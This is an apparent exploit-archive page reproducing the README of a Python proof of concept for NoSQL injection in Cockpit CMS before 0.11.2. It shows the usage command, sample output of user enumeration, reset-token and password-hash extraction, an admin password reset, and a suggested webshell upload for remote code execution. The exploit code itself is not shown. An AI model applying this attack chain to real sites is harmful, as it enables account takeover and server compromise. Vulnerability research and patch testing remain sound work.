Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2020-35847 PoC — Agentejo Cockpit SQL注入漏洞

Source
Associated Vulnerability
Title: Agentejo Cockpit SQL注入漏洞 (CVE-2020-35847)
Description:Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function.
Description
CVE-2020-35847, CVE-2020-35848 : Account Takeover
Readme
# Cockpit CMS NoSQL Injection (CVE-2020-35847, CVE-2020-35848) 

Cockpit CMS before version 0.11.2 is vulnerable to a NoSQL Injection vulnerability in the **/auth/resetpassword** and /**auth/newpassword** that allows extraction of password reset tokens which allow for user details enumeration as well as password reset.

> Read More - https://swarm.ptsecurity.com/rce-cockpit-cms/

This python script enumerates users on the system, and resets the password.

# Usage

```bash
python3 exploit.py -u http://cockpit-site-url
```

The script first enumerates users on the system.
```bash
[+] http://cockpit-site-url: is reachable
[-] Attempting Username Enumeration (CVE-2020-35846) : 

[+] Users Found : ['admin', 'user1', 'user2', 'user3']
```
Then you can choose which user to gather more information on. This also generates reset tokens for that user, a key requirement in the password reset.

```bash
[-] Get user details For : admin
[+] Finding Password reset tokens
         Tokens Found : ['rp-4e82b990aff752bfb1dc9845d5338f6e610d0608bb75e']
[+] Obtaining user information 
-----------------Details--------------------
         [*] user : admin
         [*] name : Admin
         [*] email : admin@yourdomain.de
         [*] active : True
         [*] group : admin
         [*] password : $2y$10$6uQ2PXh4vShH.D4gw..WtO0NHQq7J36ugmwKNtJGzu9p9OqSEpVUW
         [*] i18n : en
         [*] _created : 1621655201
         [*] _modified : 1621655201
         [*] _id : 60a87ea165343539ee000300
         [*] _reset_token : rp-4e82b990aff752bfb1dc9845d5338f6e610d0608bb75e
         [*] md5email : a11eea8bf873a483db461bb169beccec
--------------------------------------------
```
Finally you can choose to reset the user's password.

```bash
[+] Do you want to reset the passowrd for admin? (Y/n): y
[-] Attempting to reset admin's password:
[+] Password Updated Succesfully!
[+] The New credentials for admin is: 
         Username : admin 
         Password : new_random_password
```

You can then choose to upload a webshell to the /finder component to gain RCE.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →